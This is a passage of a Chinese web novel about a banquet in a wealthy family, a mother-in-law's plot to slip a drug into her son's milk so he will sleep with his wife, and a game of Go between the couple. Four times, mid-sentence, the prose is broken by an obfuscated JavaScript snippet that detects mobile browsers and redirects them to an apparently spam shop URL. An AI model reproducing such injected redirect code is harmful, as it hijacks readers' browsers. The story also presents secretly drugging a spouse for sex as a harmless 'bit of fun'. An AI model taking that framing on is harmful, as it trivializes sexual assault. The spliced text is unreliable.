他们刚一进去,苏芸女士就迎了上来,年近五十的女人由于保养得当看上去和三十岁没什么区别,她脸上挂着笑,眉眼一派柔和,瞧着温温柔柔没有一点攻击性。 “厌迟,小琼,你们可算来了,我们等了你们好一会儿了。” 苏芸女士嘴上同她打着招呼,目光却一直落在顾厌迟身上,连余光都没有分给她一点。 白琼早就习惯了女人的表里不一,装作没看到她的区别对待,微微颔首回应:“不好意思让你们久等了,今天路上堵车了,这才耽搁了。” “说什么耽搁不耽搁,你们又没有迟到,只是其他人离得近来得比你们早一些而已。” 顾老爷子浑厚的声音响起,白琼循着看去,老者正拄着拐杖步伐稳健的从楼上下来。 顾老爷子今年七十有余,虽然腿脚不是很利索,精神头却很好,那双眼睛炯炯有神,没有一点混浊的迹象。 “爷爷。” 白琼赶紧上前搀扶。 “你这孩子,我还没老到走不动路呢。“ 他这么说着,脸上却堆满笑意。 “最近怎么样,工作和生活都顺利吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159415|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?要是有什么事情一定要跟爷爷说,爷爷给你做主。” 说这话的时候顾老爷子瞥了不远处的顾厌迟一眼,白琼哪里不懂老者的维护之意,她不想他担心,笑着回道:“托您的福一切都好,倒是您,一个月不见您好像瘦了,过两天我去买只乌鸡,给你煲个乌鸡汤补补好不好?” “好好好,还是小琼你有孝心,还记得我就好这一口,不像某些人从进来到现在就一直杵在那里,跟个哑巴似的也不知道开口说句话。” 顾厌迟沉默了一瞬,唤道:“祖父。” 顾老爷子冷哼了一声:“还知道我是你祖父啊,我还以为顾大总裁日理万机,早把我这个老头子给忘得一干二净了。” 不怪老爷子对顾厌迟这么大怨气,在这次家宴之前,他已经缺席了三次家宴了。 “听说你最近一直在搞什么医药方面的研究,怎么样,研究有进展了吗?” 顾老爷子看似在询问,语气却阴阳怪气,在他看来顾厌迟不专心打理公司,跑去搞什么医药研究实在不务正业。 如果顾厌迟研究的是什么能攻克癌症之类的药物倒也罢了,偏偏研究的是什么治疗发热的特效药,退烧药退烧针早在几百年就给研发出来了,他现在专攻这方面,这不闹着玩吗? 难不成他的退烧药吃一次管用一辈子? 顾厌迟知道自己这样的做法很难让人理解,他也没办法解释他研发的退烧药并不是普通的退烧药。 目前只有极少数人身上出现了热潮,这不是单纯的发烧,而是一种基因变异的迹象,这还只是前期,等到中期,后期,症状只会更加严重。 就拿他的情况来说,普通的退烧药物已经对他毫无作用了。 他敛眸道:“劳您挂心,还在研发中。等之后有突破性进展了我会第一时间告知您的。” “你!” 顾老爷子气得吹胡子瞪眼,操起手中的拐杖就要砸过去,白琼先一步摁住了他的手,打圆场道:“爷爷,您消消气,厌迟那个药物研发其实没你想的那么糟糕,每个人都会感冒发烧,如果他能研发出比市场上的退烧药见效更快的药剂,也算推动医学发展,造福社会了不是?” 顾老爷子恨铁不成钢地瞪了顾厌迟一眼,再看向白琼的时候神情肉眼可见的和蔼慈祥。 “爷爷哪里是生他的气,爷爷是心疼你啊,他成天研究这些乱七八糟的东西不着家,能有多少时间陪你?” 白琼眼眸一动,上次顾老爷子也对自己说了差不多的话,只是当时顾厌迟不在,他说的更加直白—— “小琼啊,你们都结婚五年了,打算什么时候要孩子?厌迟是个没开窍的,但你也不能真的等他开窍,你到底是个姑娘家,他等得起,你未必等得起。” 然后在白琼离开的时候,苏芸女士冷着脸塞给了她一盒计生用品。 在长辈的鼓励和默许下,白琼原本打算豁出去试一试的。 可那份好不容易燃起来的勇气,在隔天早上看到那盒还没拆封的计生用品静静躺在垃圾桶里的时候。 “刷”的一下,熄灭,冷却。 9. 第九章 聪明如顾厌迟怎么能听不出顾老爷子话里有话,这是在点他呢。 老爷子如今年纪大了,儿女争气,子孙满堂,要说唯一有什么遗憾的话大概就是想要在有生之年早些尽早抱上重孙了。 可注定要让他失望了,顾厌迟不仅对白琼没兴趣,对所有的异性基本上都无感。 想要抱重孙?除非他们两个谁能无性繁殖。 于是在顾老爷子,还有其他长辈投来的灼灼目光下,顾厌迟装傻道:“这个您放心,最近我工作没那么忙了,会抽出时间尽量多陪陪阿琼的。” 阿琼。 这个顾厌迟只会对外唤她的亲昵称呼让白琼酸涩的心绪更加不是滋味,同时又生出一点期待,期待他所说的话不只是单纯为了应付顾老爷子,是真的有那么一两分的真心。 “爸,厌迟这孩子你从小看到大,他是什么性子你再清楚不过,这段时间他只是太忙了抽不出身来看你,不是真的心里没你,你忘了吗,上周他还让助理给你带了一箱补品呢,里面的何首乌少说也有百年的年份,还有那串天珠,不费点心可弄不到。” 苏芸女士见老爷子的脸色稍缓,又道:“真要说不孝顺那也应该是明台,他可是你儿子,结果也缺席了家宴……” “你不提我都差点忘了,明台怎么没来?有什么急事走不开?” 顾老爷子最疼爱的就是顾明台这个小儿子,能力出众,一表人才,关键是还特孝顺,除却一两次在国外实在没办法赶回来之外,从没有缺席过一次家宴。 苏芸见老爷子的注意力从顾厌迟那边转移了过来,叹了口气道:“流感,早上起来量体温烧到了三十九度。说来也怪,最近不知怎么回事,我身边有不少人都得了流感,现在也不是流感高发期啊。” “所以你看,厌迟研发的这个药物还挺有前瞻性的,是吧?” 顾老爷子冷哼了一声:“前瞻性?我看是瞎猫碰上死耗子。” 他虽然这么说,神情却从一开始觉得对方不务正业的不满转而探究和怀疑。 这小子不会真知道什么内情吧? 说者无心,听者有意。 顾厌迟在听到女人说顾明台发热后心下一跳,追问了句:“除了发热之外呢,爸还有其他什么症状吗?” 苏芸只当他关心自家老爸的病情,没往别的地方想,回道:“还有点四肢无力,没什么精神,不过吃了药已经好不少了。” 顾厌迟松了口气:“那就好。” 看来应该不是热潮。 白琼在来之前她已经做好了被刁难或是嘲讽的准备,意外的是今天的家宴意外的风平浪静。 以往他们的针对其实也没有多严重,毕竟顾老爷子在,他们再对她不喜也不会表现得太明显,不过绵里藏针,笑里藏刀这种情况却不会少。 今天却什么都没发生。 很快的,白琼知道了原因。 “怎么?你好像很失望没人找你麻烦?” 用完餐,白琼陪顾老爷子刚说了几句话,便被苏芸女士以想要找她出去外面散步消消食为由给支走了。 苏芸女士在有人,尤其是有顾老爷子在的时候对她表现得和善温柔,一到没人的地方就换了一副面孔。 两人刚走出大门没多久,女人便收敛了脸上的笑容,冷不丁这么问道。 白琼眼眸一动:“是您提前警告过他们吗?” 苏芸扯了下嘴角:“还不算太笨……你这是什么表情?” 白琼如实回答:“没什么,就是很意外您会帮我,我以为您很讨厌我,毕竟以前您对这些事情总是睁一只眼闭一只眼的。” 她抱着手臂,那张本就精致的脸上画着同样精致的妆容,让她整个人显得格外具有攻击性。 白琼并不惊讶,因为这才是苏芸女士的真实性格。 苏芸冷笑了声:“呵,你这话听上去好像很委屈,您是在指责我以前没有制止他们的意思吗?” 白琼摇头:“您误会我了,我只是单纯因为你一反常态的举动而有些……受宠若惊。” 她把“受宠若惊”四个字说得很轻,但苏芸还是听到了。 苏芸并没有生气,反而还笑了:“还算有点长进,知道还嘴了。” “介意我抽支烟吗?“ 白琼还没回答,她已经不知从什么地方拿出了香烟盒。 苏芸从里面磕出了一根香烟,修长的手指随意夹着,食指上的祖母绿戒指亮的晃眼。 “唰”的一声,打火机被点燃,火舌燎红了香烟,而更红的是女人的嘴唇。 白雾从她的唇齿间溢出,把她整张脸都模糊得看不真切。 苏芸发出了一声喟叹:“最近也不知道怎么回事总是很烦躁,不,应该说是燥热,身体里像是有什么东西在叫嚣着要出来,可我还没到五十,总不可能是更年期综合征吧。” 白琼不知道该怎么接话,况且她也似乎只是随口一提的自说自话,并没有想要她回答。 对方熟练的吞云吐雾着,很快那根香烟就要燃尽了。 这让她不由想起了第一次撞破自家婆婆抽烟的时候,对方完全不像现在这样肆无忌惮,一脸慌张地看向四周,见只有她一人后这才放下心来,还警告她不要把看到的说出去。 白琼当时很震惊,不光是因为见到了苏芸女士不为人知的一面而震惊,更因为她竟然伪装了这么久。 婚前也就算了,她和顾明台都结婚了,她为什么还要这样伪装下去,不累吗? “累?” 白琼在听到女人嗤笑着反问才意识到自己不小心把心里话说出来了,心下懊恼,解释道:“抱歉,我不是……” “当然累啊,我又不是机器,二十几年如一日地戴着面具生活不累才怪。” 出乎意料的,苏芸没生气,反而十分坦然地回答了。 她抖了抖烟灰,烟雾散开,那双和顾厌迟有七八分相似的眉眼展露出来。 不过和顾厌迟淡漠到凉薄的眉眼不同,苏芸则是更为凌厉的,她自己也知道这一点,所以平时会稍微把眼睛睁大点,眼线画得柔和一些,来中和那抹生人勿近的感觉,但自从白琼无意间发现她的真实性格后她在她面前就从没有刻意收敛。 以前她看到苏芸和顾明台站在一起总觉得男俊女美,一个温润一个温婉,实在是天生一对,可如今再看并非如此,倒不是说不般配了,而是反了。 苏芸女士若是用这副样子站在顾明台身边,后者的气势会被她给生生压制住。 白琼突然明白了苏芸女士为什么要继续装下去,换位思考的话,如果她是对方,为了让自己看上去和顾厌迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159416|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相配的话,她也愿意这样做的。 但下一秒,苏芸女士给出了一个让她意想不到的答复。 “你知道我当年为什么能那么快俘获厌迟他爸的芳心吗?” 这个俘获芳心用在男人身上好像有些奇怪。 白琼也没纠正,斟酌了下道:“因为您提前调查了他的喜好,对症下药?” 苏芸笑了下:“算是吧。其实我并没有调查得那么详细,我只调查了一件事——他的过往情史。结果我发现他除却相亲接触过几个女人之外,压根就没谈过恋爱。” 她顿了顿,话锋一转:“不过学生时代倒是有个初恋。所以我的参考标准只有这一个。” 苏芸又吸了一口烟,烟雾含在嘴里好一会儿才吐出来,不知道是不是白琼的错觉,女人的声音要比先前沉了几分。 “但有时候一个就胜过千个万个。” 白琼愕然了一瞬,张了张嘴想说点什么,又不知道该说什么。 她有太多想问的,比如那个顾明台的初恋现在在哪儿,他们现在还有联系吗,还有……你就这么甘心做那个人的替身吗? 可话到了嘴边,她只问了句:“所以这和您把我叫出来有什么关系吗?” 苏芸没觉得白琼冷漠,反而要是她反过来安慰自己,或者露出什么可怜同情的神情的话,她才会被真的被激怒。 苏芸勾了下唇角,这次的笑意有了点儿温度。 “那盒计生用品你还没用过吧。” 白琼脸一红,尴尬又难堪,嗫嚅着嘴唇:“我,我们……” “别狡辩了,我生的孩子我了解,和他爸一个德行,他要是不喜欢你一辈子都不会碰你,你得演得哄得骗。” 苏芸这是想要帮她。 这让她有些意外,随即她苦涩地摇了摇头:“没用的,我和您不一样,我和厌迟从小长大,我什么样他比任何人都清楚,您的办法对我来说没用。” 她当然知道这一点。 苏芸冷哼道:“所以你才该采用一点非常手段。” 白琼一愣,虚心请教:“什么非常手段?” “下药啊。” 苏芸语出惊人,吓得白琼差点儿惊呼出声。 她捂住嘴,难以置信看着眼前的女人,显然没想到会从对方嘴里听到这样的虎狼之词。 苏芸嫌弃道:“瞧你那没出息的样子,下药怎么了?你们合法夫妻,合法夫妻之间那能叫下药吗,那叫助兴,那叫情趣。啧,要不是看你可怜,我才懒得管你呢。” 她摸了下口袋,原本想要把准备好的东西给白琼,但看到对方那副大惊失色的表情怕她把事情搞砸,临时改变了主意。 苏芸恨铁不成钢道:“算了,还是我来吧。到时候我把这药粉倒进牛奶里让人送过去,你盯着厌迟喝了,听见没?” 白琼见她来真的,又急又慌:“妈,您冷静点,我知道您想抱孙子,但是这办法真不行,您倒得偿所愿高兴了,事后厌迟知道我算计他肯定会生气的,我……” “所以我才没让你下药啊。” “可是……” “你再给我但是可是一个试试!” 苏芸女士不耐烦地打断白琼,恶狠狠警告道:“你到时候就当不知情,躺下享受就行,懂?” 白琼:“……” 10. 第十章 不是,虽说话糙理不糙,但这话未免也太糙了点。 白琼觉得自己从未真正了解过苏芸女士,在她以为自己已经知道了对方的真面目的时候,结果下一秒,她又再次刷新了她的世界观。 下药,还是给自己的儿子下药?这对吗? 苏芸女士与其说是把她拉过来建议,不如说是告知,没有给她一点准备和拒绝的机会,就这样当机立断地决定了。 白琼好几次想要劝她三思而后行,对方理都没理她,脚步生风越走越快,很快就重新回到了大厅。 在这么多人都在的场合,她想说什么都说不出口了。 顾厌迟知道自己母亲不怎么喜欢白琼,在先前苏芸点名让白琼陪她出去散步的时候怕她刁难对方,原本想要陪同一起,但却被自家祖父出声制止了。 “她们母女俩这么久没见想单独说点体己话,你一个大男人跟着上去凑什么热闹?还是说你就这么不待见我这个糟老头子不想跟我待在一起?” 他不得已只好作罢。 只是尽管人在这里,他的心思却是飘在了白琼那边。 顾厌迟不喜欢白琼归不喜欢,但是她毕竟是自己的妻子,也是从小长大的青梅竹马,无论是哪种身份他都没办法在自己母亲刻意为难她的时候视而不见。 两人出去的时候是一起,回来的时候却是一前一后,苏芸女士踩着高跟鞋哒哒走在前面,丝毫不顾后面追着辛苦的白琼。 白琼的神情也很奇怪,有些不安有些慌乱,又有些……紧张。 顾厌迟走到她身边,低声问道:“怎么了?是不是我妈又为难你了?” 男人突然的靠近把本就做贼心虚的白琼给吓了一跳,她下意识往后退了一步,顾厌迟见状眉头拧在了一起。 白琼不擅长撒谎,尤其是面对顾厌迟的时候,低着头磕绊道:“没什么,就是妈说你今天看上去有点疲惫,叮嘱我好好照顾你,给你做点药膳调理下。” 顾厌迟半信半疑,就为了这么点事就特意把人给支开,未免也太小题大做了。 “真的没事,你也知道的,爷爷比较疼我,妈妈当着他的面不好说这些,怕被爷爷觉得是在指使我做事,惹他不快。” 这倒也是。 顾厌迟语带嘲讽:“她总是这样多此一举,家里明明有厨师却非要自己亲手下厨,现在又把这一套强加在你头上,除了耗时耗力降低效率之外我不知道有什么用。” 白琼没想到男人竟然会这么想。 平时在家的时候她也给顾厌迟下厨过,只是他回来的时间不多,所以她并不觉得做饭是个多辛苦的事情,甚至在看到自己做的菜能被他多吃几口后,在钻研厨艺上反而更起劲了。 对于她给他下厨做饭这件事,顾厌迟没说过好也没说过不好,白琼想着他至少是愿意吃她做的饭的,并为此感到幸福与满足,现在她却发现并不是这样。 他只是以为这是苏芸女士让他这么做的,他不拒绝不是因为她,而是因为他母亲。 白琼沉默了一瞬:“……不是多此一举。” 顾厌迟没听清:“什么?” 白琼深吸了一口气,注视着男人的眼睛道:“妈不是多此一举,是因为爱。她爱你的父亲,所以才愿意每天不辞辛苦为他洗手作羹汤。” 她不光是在说苏芸,也是在说自己。 顾厌迟听出了女人隐晦的告白,对上女人乌黑纯粹的眼眸,他从中看到了自己。 只有自己。 她永远都是这样,满心满眼都是他,专一到偏执的深情让他感到反感。 的确,没有人不希望被人喜欢,尤其是被全心全意的喜欢,这本身应该是一件值得高兴的事情,可白琼的喜欢却并不是那么回事。 她的感情带有野心,每每注视着他的时候都带着毫不掩饰的占有欲和企图心,想要把他连人带骨蚕食殆尽。 可让顾厌迟头疼的是这同时又意味着她对自己的感情是纯粹的,纯粹的喜爱,纯粹的除了他别无所求。 因此面对这份热烈到近乎让人窒息的爱意,对于一个不爱她的人而言实在算得上灾难。 顾厌迟皮笑肉不笑道:“我不否认你说的是对的,但你忘了一个前提,她爱我的父亲,后者也同样深爱着她。” “只有两情相悦地付出才不会让对方感到压力,你说是吧阿琼?” 白琼的脸刷的一下没了血色,她的喉咙像是被一团浸湿的棉花堵住了般,潮湿,冰冷,喘不上气。 顾厌迟看着她陡然苍白的脸,心下生出一种无力感。 既然脆弱到连一句真话就承受不了,为什么还不知道及时止损,非要对他这么执着呢? 他没再刺激她,轻叹了口气,见茶几上摆放的果盘里有白琼爱吃的蓝莓,正要伸手去拿,一只手先他一步将那碟子蓝莓拿了起来。 “嫂子。” 白琼还没从顾厌迟那句伤人的话中缓过来,反应慢了半拍地转动了下眼眸,只见顾烟笑意盈盈地端着蓝莓对她说道:“嫂子,诺,你喜欢的蓝莓。” 这下不仅是白琼,顾厌迟也颇为意外地看了过来。 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159417|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟是顾明台大哥的小女儿,今年刚上高中,因为是晚来女,所以备受顾家上下的宠爱,由于自小被娇宠着长大,性子难免有些娇纵跋扈。 不过她也就对外任性了些,对内倒是还算乖巧懂事。 但这个对内不包括白琼。 这个小侄女一直都不大喜欢自己,原因也很让人哭笑不得,一来是她觉得自己的出现分走了顾老爷子对她的宠爱,还抢走了她最喜欢的哥哥,也就是顾厌迟。 二来,也是最离谱的,这小姑娘是个颜控,她只喜欢长得好看的人,白琼长得不丑,可比起她看好的季青禾这个嫂子那就差得远了。 综上所述,顾烟对她那是十分的不待见,每次家宴的时候哪怕被竭力克制着脾气,她对她也是鼻子不是鼻子,眼睛不是眼睛的。 而这个平时连话都不想和她说,嫌弃她跟嫌弃什么似的侄女今天却破天荒给她投喂水果,实在是太阳打西边出来了。 白琼错愕了好一会儿,这才找到自己的声音:“谢,谢谢。” 她正要去拿,一直留意着这边的苏芸女士一个箭步上前,把顾烟拽到一边,眯着眼睛,压低声音道:“你这丫头又想搞什么恶作剧?” 苏芸女士从碟子里拿了一颗蓝莓仔细看了下,表面上没看出挤了芥末或者涂抹了其他乱七八糟的东西来。 别不是掉在地上捡起来故意给她吃的吧。 顾烟委屈地瘪了瘪嘴:“您冤枉我了,我就想给嫂子拿个蓝莓吃而已。” “呵呵,我信你个鬼,你不是最讨厌她了吗,你不整她都算好的了,会那么好心?” 顾烟一噎,以前她的确干过类似的事情,一时之间也不好反驳。 “那是以前,这次我真没有想干什么,我只是觉得……” “觉得什么?” 小姑娘支支吾吾了半天,抬起手挠了挠脸颊,语气诡异的羞赧:“那个,您有没有觉得嫂子变好看了?” 变好看了? 苏芸一愣,掀起眼皮往白琼那边看了一眼。 女人的脸瓷白细腻,配上那身素净的旗袍,像冬日的新雪,干净,无害,不带一点攻击性。 脸还是那张脸,人也还是那个人。 没什么变化,又似乎有什么地方变了。 苏芸盯着白琼看了许久,终于意识到了哪里变了。 存在感。 如果说以前的白琼是一片毫不起眼的雪花,那现在的白琼则是风雪本身。 人们或许注意不到一片雪花,但不可能注意不到一场倾覆而下的风雪。 11.第十一章 苏芸盯着白琼看了一会儿,有些犹豫这药到底下不下了。 如今的白琼看上去即使不用药物,也不是没有可能拿下自家儿子。 知子莫若母,顾厌迟一直不近女色,甚至于对异性还有所排斥,这一点他虽然隐藏得很好,但苏芸还是能看出来。 不过苏芸没有把自家儿子这个情况往所谓的同性恋方向去想,因为他排斥异性的同时,也平等地厌恶同性,真要用个词来形容他的话,大概就两个字——厌人。 对此苏芸很有共同话题。 因为她在对顾明台一见钟情之前也是这么个德行,眼高于顶,自视甚高,觉得谁都没资格和她做朋友,谁都配不上自己。 他不是讨厌女人,只是还没遇上喜欢的人罢了。 也正是由于顾厌迟的性子和苏芸很像,所以她觉得自己都能被气质有所变化的白琼吸引目光,他不说喜欢上,至少也不会不为所动。 然而很快的,苏芸又把这个刚冒出来的念头给掐灭了。 不行,别的男人或许会因为一时兴起的冲动发生关系,顾厌迟却不会。 啧,算了,还是下药稳妥。 这边的白琼的注意力被无事献殷勤的顾烟给转移了,她担心这小丫头给她使绊子,后面一直提防着对方。 好在她只是在苏芸的警告下看了她一眼,然后神情遗憾地远离了白琼。 顾家的家宴没什么花里胡哨的环节,大家聚在一起吃个饭聊聊天便结束,唯一有些不同的大概就是通常来的人都会留宿,再忙也得等隔天一早才离开。 顾老爷子很注重这一点,他觉得吃了饭就走和留宿一晚再走有着本质的区别,前者像应酬,后者才是家宴。 因此今晚她和顾厌迟会住在主宅。 重点并不是住在哪里,而是只有在主宅的时候她才能名正言顺的和顾厌迟住在一个房间。 这也是白琼尽管知道自己会在家宴被明里暗里嘲讽刁难,也还是期待这一天的原因。 哪怕顾厌迟是打地铺,但好歹也是共处一室了不是。 可这一次白琼却十分不希望夜晚的降临,尤其是在看到苏芸女士在一旁一边心不在焉和人聊天,一边时不时抬起腕表看时间的样子。 时间就这样在白琼的不安和焦虑中流逝了,等到晚饭结束,她借着陪顾老爷子为由,下了一盘又一盘棋也没找到阻止苏芸的机会,反倒是把老爷子给下累了。 “唉,真是不服老不行啊,这才下了三局我就累得不行了。” 老爷子锤了锤酸疼的背,笑眯眯道:“琼丫头一段时间不见棋艺见涨啊,以前要么我赢要么平局,今天你竟然杀了我个片甲不留,你这是上哪儿进修去了?” 白琼心下一惊,这才发现自己因为心里有事忘了算棋,三局都给人赢了。 “没,爷爷你谬赞了,侥幸,侥幸而已。” 白琼执的是黑子,顾厌迟看着棋盘上黑子凌厉肃杀的棋风,宛若黑云压城,眼眸一动,看向端坐在一旁眉眼柔和的女人。 他以前看她和祖父下棋的时候就觉察到了她在有意放水,只是她放的不着痕迹。 有一次白琼在下一步明显不需要犹豫的棋前思考了很久,然后下到了一个匪夷所思的位置,原以为是失误,直到局终的时候顾厌迟才看透了中途她落的那步棋不是失误,而是给老爷子留有突破的生机。 顾厌迟也是在那时候发现白琼的棋力不俗的。 而真正看见她的棋风,这是第一次。 说不吃惊是假的,顾老爷子是从刀山火海里走过来的,他的棋已经算锋芒毕露了,不曾想白琼比之竟还胜一筹。 顾厌迟意外,又不大意外。 他不可避免想起了女人每次看向自己时自以为不着痕迹,实则恨不得把他拆吃入腹的露骨眼神,在某种程度上来说也算棋如其人。 白琼心虚地捏着棋子,问道:“还要再下一局吗?我瞧您好像还没进入状态,没准下一局就有手感了。” 她谦虚的将她赢了归结于老者状态不佳。 顾老爷子摆了摆手:“不了不了,今天脑子使用过度撑不住了,改日,改日再来。” “那我陪爷爷出去散散步……” “哎呀,时间过得真快,一眨眼工夫就要八点了。” 苏芸女士上前柔声对老爷子道:“爸,您该回屋休息了,上个月体检医生说您睡眠不足,得早点睡觉才行。” “嚯,还真是,都这么晚了。” 顾老爷子拄着拐杖站起来,对对面的白琼说道:“小琼我就先上楼了,你要是还没尽兴可以让厌迟陪你下会儿。” 白琼张了张嘴,想挽留,但又没有合适的理由,苏芸女士暗暗瞪了她一眼,红唇动了下。 她读懂了她的唇语。 ——等着。 白琼:“……” 等什么?等她下药还是等她霸王硬上弓? 苏芸和顾老爷子他们离开后,楼下就只剩下白琼和顾厌迟了。 顾厌迟看向坐在位置上没有动作的女人,问道:“要手谈一局吗?” 白琼捏着棋子的手一抖,“啪嗒”一声掉在了棋盘。 她难以置信抬头,以为自己出现了幻听。 “和……我吗?” 顾厌迟被她这反应给逗笑了:“不然呢,这里除了你还有其他的人吗?” 白琼的棋是跟自家爷爷学的,平时除了跟他手谈,就是跟顾老爷子了。 顾老爷子之前见她下得不错,饶有兴致的想让顾厌迟和她下一局看看,顾厌迟拒绝了。 大概是觉得她连顾老爷子都下不过,和她下棋也只是浪费时间。 这也不能怪顾厌迟,谁叫她为了讨老爷子欢心刻意让棋,他把自己当成臭棋篓子也正常。 现在顾厌迟主动提出和自己手谈,白琼多少有些受宠若惊。 “叩叩”,顾厌迟指节轻敲了下棋盘。 “要下吗?还是你也想休息了?” “好,好的。” 她忙不迭回答,生怕下一秒男人就会反悔。 在白琼收拾完棋盘上的棋子,从棋盒抓了几个棋子准备让顾厌迟猜先。 “这样下没什么意思。” 男人让管家重新拿了一盒棋子过来,轻放到桌上说道:“我们用同一种颜色的棋子下如何?” 同色棋,这不仅考验棋力更考验记忆力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162557|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双方的棋子颜色相当,落在棋盘上的时候很难分辨,也就是说你不仅要记住自己的落子还要记住对方的。 顾厌迟不是故意刁难人的性子,所以他应该是发现了自己放水的事情。 白琼也不知道自己棋力究竟怎么样,她没有专门去测过,但目前她除却为了哄长辈输过之外还没有过败绩。 况且她也并不在意所谓输赢,本身一开始她学习围棋的初衷也只是想要多陪陪腿脚不便的爷爷打发时间而已。 可这一次,她少有的燃起了胜负欲。 如果她赢了的话,他的视线会不会能在她身上多停留一会儿? “好。” 管家拿来的棋子好巧不巧也是黑色的。 先手是白琼,她一改先前面对老爷子时候的心不在焉,注意力完全集中在了棋盘上。 女人的手探入棋盒取出棋子,黑色的棋子夹在她食指和中指之间,微抬的手腕随着棋子落下的清脆声响完成了一次蝴蝶的展翅,优雅,轻盈。 顾厌迟的视线不自觉被她的手给吸引,白的发光的手指唯有指尖带着浅淡的粉。 他眯了眯眼睛,在上面多停留了一秒,然后紧跟着落子。 虽然白琼的棋下得的确不错,但顾厌迟并没有真正把她当成对手。 只是心血来潮罢了。 因此他下得很漫不经心,中规中矩的开局,随意敷衍的应对,直到棋至中局。 “啪”的一声,对面的黑子落下,和下方的棋子相呼应神不知鬼不觉地占据了他这边的一块地盘。 顾厌迟收起了先前打发时间的散漫,神情肉眼可见的认真了起来。 他的棋力不俗,很快的,大意被白琼夺走的地盘被他救了回来,同时给她在另一边埋下了陷阱。 那个陷阱很隐蔽,要算到四五十步以上才能看出来。 顾厌迟猜测白琼只要在没有记错棋子的情况下,花点时间应该是可以发现的,然而这一步明显需要深入思考的棋,几乎是在他下完的瞬间她便落了子。 他一愣,这么快的时间他不认为白琼是觉察到了陷阱甚至算好了在哪里落子应对。 没发现吗?还是已经把自己的棋和他的棋记混了? 顾厌迟有些失望,刚生起来的那点认真消失了。 他扫了一眼棋盘,目光落在中间位置,只要把这片区域占领这盘对局也就到此为止了。 顾厌迟将决定胜负的一子落下。 “结束了。” 他这么说道。 对面的女人眼睫微动,也轻声道:“是啊,结束了。” 她说着结束了,手上的动作却没有停,那颗乌润的棋子和先前每一次落子一样迅速。 她无视了顾厌迟中间的攻势,在一个他意想不到的地方落下。 在顾厌迟看清白琼落子的位置后瞳孔一缩。 活了。 那颗之前他原本以为白琼落入陷阱的死棋,因为这枚棋子给救活了,不仅如此,那条被他断了的大龙也在这一步之下重焕生机。 局势逆转,化险为夷。 他此刻才明白了白琼的那句话。 的确结束了,不过结束的是他。 12.第十二章 如果说顾厌迟布下的那步棋算到了五十步,那白琼这步棋至少算到了七十,八十,甚至往后一百步。 她算得比他更多,看得比他更远。 顾厌迟静默地注视着满盘黑子,在反复运算也找不到生路后他慢慢将手中的棋子放回棋盒。 “……我输了。” 白琼怔怔盯着棋盘,许久才眨了眨干涩的眼睛,恍若梦醒道:“啊,你输了。” 说完后意识到这话像是在嘲讽,又忙解释:“不是,我的意思是侥幸,我只是侥幸而已,我能看出来你并没有认真,你要是认真和我下的话……” “白琼,在你眼里我是那种输不起的人吗?” 明明赢了的是她,她非但没有一点高兴的神情,还一副小心翼翼的生怕他生气的样子把顾厌迟气笑了。 “不过一局棋罢了。” 他一边说着一边收拾着棋子,白琼再三确认他是真的不在意输赢后悬着的心这才放回了肚子。 说实话白琼也没想到自己会赢,从小到大顾厌迟都是别人家的孩子,即使她在同龄人中称得上一声优秀,可在对方面前两人之间的差距就跟太阳和萤火,她望洋兴叹。 顾厌迟是完美的,输这个字在他的字典里是不完美的,它不该存在。 白琼一直都这样认为,但现在它存在了,还是由她让它存在的。 她有一种认知被打破的恍惚和无措。 同时后知后觉明白了为什么杨清容说她恋爱癌,她似乎,好像对顾厌迟的滤镜过于大了。 他再怎么优秀也是人,只要是人就不可能真的做到十全十美。 这是一个再简单不过的道理,她却现在才意识到。 白琼说不出心里什么感觉,有些怅然,还有些失望。 对顾厌迟的失望。 不过这点情绪刚冒出来,还没来得及细想,下一秒她就被不远处端着牛奶走过来的佣人给转移走了所有的注意力。 佣人走到他们面前,将牛奶轻放到了顾厌迟手边。 “少爷,这是苏太太亲自给你热的牛奶,嘱咐你趁热喝。” 说着又把托盘上另一杯热巧巧拿给了白琼。 顾厌迟瞥了一眼:“怎么她的不是牛奶?” 